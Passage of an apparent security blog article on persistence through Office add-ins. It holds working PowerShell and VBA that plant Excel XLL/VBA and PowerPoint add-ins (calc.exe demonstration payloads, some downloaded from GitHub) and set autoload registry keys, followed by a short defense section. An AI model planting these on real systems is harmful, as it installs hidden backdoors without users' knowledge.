AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\u003Cbr>$fileContentBytes = [System.Convert]::FromBase64String($fileContent) \u003Cbr>[System.IO.File]::WriteAllBytes($env:APPDATA+\"\\Microsoft\\AddIns\\calc.xll\",$fileContentBytes)\u003Cbr>\u003Cbr>Try  \u003Cbr>{  \u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop  \u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 ) \u003Cbr>    \u003Cbr>}  \u003Cbr>Catch  \u003Cbr>{  \u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\" \u003Cbr>    Write-Host \"[+] Please reinput a correct path.\" \u003Cbr>    return \u003Cbr>}  \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003Cbr>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\Excel\\\"\u003Cbr>New-Item -type Directory $ExcelRegPath\"Options\" | Out-Null\u003Cbr>New-ItemProperty $ExcelRegPath\"Options\" OPEN -value \"\u002FR calc.xll\" -propertyType string | Out-Null\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Excel VBA add-ins\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1、Manual testing\u003C\u002Fh3>\u003Cp>Start Excel, enable the Developer Tools option, select Visual Basic\u003C\u002Fp>\u003Cp>Insert a module, write the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Sub Auto_Open()\u003Cbr>    Set objShell = CreateObject(\"Wscript.Shell\")\u003Cbr>    objShell.Exec (\"calc.exe\")\u003Cbr>End Sub\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Save as calc.xlam, path is:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\Excel\\XLSTART\u003C\u002Fp>\u003Cp>Start Excel.exe, calculator pops up, and Excel starts normally\u003C\u002Fp>\u003Ch3>2. Write a PowerShell script to implement\u003C\u002Fh3>\u003Cp>Save path is:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\Excel\\XLSTART\\calc.xlam\u003C\u002Fp>\u003Cp>Corresponding PowerShell code is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$client = new-object System.Net.WebClient\u003Cbr>$client.DownloadFile(\"https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FOffice-Persistence\u002Fmaster\u002Fcalc.xlam\",$env:APPDATA+\"\\Microsoft\\Excel\\XLSTART\\calc.xlam\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x05 PowerPoint VBA add-ins\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Manual Testing\u003C\u002Fh3>\u003Cp>Launch PowerPoint, enable Developer Tools option, select Visual Basic\u003C\u002Fp>\u003Cp>Insert a module, write the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Sub Auto_Open()\u003Cbr>    Set objShell = CreateObject(\"Wscript.Shell\")\u003Cbr>    objShell.Exec (\"calc.exe\")\u003Cbr>End Sub\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Save as calc.ppa, path:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\AddIns\u003C\u002Fp>\u003Cp>Find registry key value:\u003C\u002Fp>\u003Cp>Key value for Office2010:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\14.0\\PowerPoint\u003C\u002Fp>\u003Cp>Key value for Office2013:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\PowerPoint\u003C\u002Fp>\u003Cp>Create new key AddIns, create subkey calc (corresponding to calc.ppa)\u003C\u002Fp>\u003Cp>Create DWORD value: Autoload: 1\u003C\u002Fp>\u003Cp>Create string value: Path: calc.ppa\u003C\u002Fp>\u003Cp>Launch PowerPoint.exe, calculator pops up, and PowerPoint starts normally\u003C\u002Fp>\u003Ch3>2. Write PowerShell script to implement\u003C\u002Fh3>\u003Cp>Save path as:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\AddIns\\calc.ppa\u003C\u002Fp>\u003Cp>Corresponding PowerShell code is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$client = new-object System.Net.WebClient\u003Cbr>$client.DownloadFile(\"https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FOffice-Persistence\u002Fmaster\u002Fcalc.ppa\",$env:APPDATA+\"\\Microsoft\\AddIns\\calc.ppa\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Registry path: HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Try\u003Cbr>{\u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop\u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 )     \u003Cbr>}  \u003Cbr>Catch  \u003Cbr>{  \u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\" \u003Cbr>    Write-Host \"[+] Please reinput a correct path.\" \u003Cbr>    return \u003Cbr>}  \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003Cbr>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\PowerPoint\\\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Create key AddIns:\u003C\u002Fp>\u003Cp>New-Item -type Directory $ExcelRegPath\"AddIns\" | Out-Null\u003C\u002Fp>\u003Cp>Create key calc:\u003C\u002Fp>\u003Cp>New-Item -type Directory $ExcelRegPath\"AddIns\\calc\" | Out-Null\u003C\u002Fp>\u003Cp>Create DWORD value: Autoload: 1\u003C\u002Fp>\u003Cp>New-ItemProperty $ExcelRegPath\"AddIns\\calc\" Autoload -value \"1\" -propertyType DWORD | Out-Null\u003C\u002Fp>\u003Cp>Create a new string value: Path: calc.ppa\u003C\u002Fp>\u003Cp>New-ItemProperty $ExcelRegPath\"AddIns\\calc\" Path -value \"calc.ppa\" -propertyType string | Out-Null\u003C\u002Fp>\u003Cp>Complete code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$client = new-object System.Net.WebClient\u003Cbr>$client.DownloadFile(\"https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FOffice-Persistence\u002Fmaster\u002Fcalc.ppa\",$env:APPDATA+\"\\Microsoft\\AddIns\\calc.ppa\")\u003Cbr>\u003Cbr>Try\u003Cbr>{\u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop\u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 )\u003Cbr>}\u003Cbr>Catch\u003Cbr>{\u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\"\u003Cbr>    Write-Host \"[+] Please reinput a correct path.\"\u003Cbr>    return \u003Cbr>}  \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003Cbr>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\PowerPoint\\\"\u003Cbr>\u003Cbr>New-Item -type Directory $ExcelRegPath\"AddIns\" | Out-Null\u003Cbr>New-Item -type Directory $ExcelRegPath\"AddIns\\calc\" | Out-Null\u003Cbr>New-ItemProperty $ExcelRegPath\"AddIns\\calc\" Autoload -value \"1\" -propertyType DWORD | Out-Null\u003Cbr>New-ItemProperty $ExcelRegPath\"AddIns\\calc\" Path -value \"calc.ppa\" -propertyType string | Out-Null\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>I have integrated and uploaded the exploitation scripts for the above four methods to GitHub at:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x06 Detection and Defense\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1、Word\u003C\u002Fh3>\u003Cp>Disable all add-ins, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017328633_2_a98dbf3219-1.jpeg\">\u003C\u002Fp>\u003Cp>Disable all controls, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017379814_3_ccab67607a-1.jpeg\">\u003C\u002Fp>\u003Cp>Disable all macros, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017400902_4_64727c3162-1.jpeg\">\u003C\u002Fp>\u003Cp>Word WLL can still execute\u003C\u002Fp>\u003Cp>\u003Cstrong>Defense method:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Delete trusted locations:\u003C\u002Fp>\u003Cp>C:\\Users\\a\\AppData\\Roaming\\Microsoft\\Word\\Startup\\\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017447492_5_d1e710face-1.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Do not use environment variable %appdata% when adding\u003C\u002Fp>\u003Ch3>2. Excel\u003C\u002Fh3>\u003Cp>Excel XLL and Excel VBA add-ins:\u003C\u002Fp>\u003Cp>\u003Cstrong>Defense methods:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Disable all add-ins\u003C\u002Fp>\u003Ch3>3、PowerPoint\u003C\u002Fh3>\u003Cp>PowerPoint VBA add-ins:\u003C\u002Fp>\u003Cp>\u003Cstrong>Defense methods:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Disable all add-ins\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces four common backdoor exploitation methods in Word, Excel, and PowerPoint under the x86 system, provides open-source POC scripts for testing, and finally, from a defensive perspective, details specific defense methods. The exploitation methods for x64 systems can be appropriately modified.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",1170,"Onedaysec",6,"published","2026-02-02T07:51:00.263Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Office Persistence Backdoor Exploitation Methods & POC Script","Office persistence, Word WLL backdoor, Excel add-in, PowerPoint VBA, PowerShell automation, Windows security, exploit methods, defense analysis",null,false,[],{"docs":43,"hasNextPage":40},[44,45,46,4],435,434,433,{"title":39,"description":39,"image":39},"2026-07-24T15:37:13.378Z","2026-07-23T16:01:34.471Z","draft","2026-07-23T16:06:11.575Z"]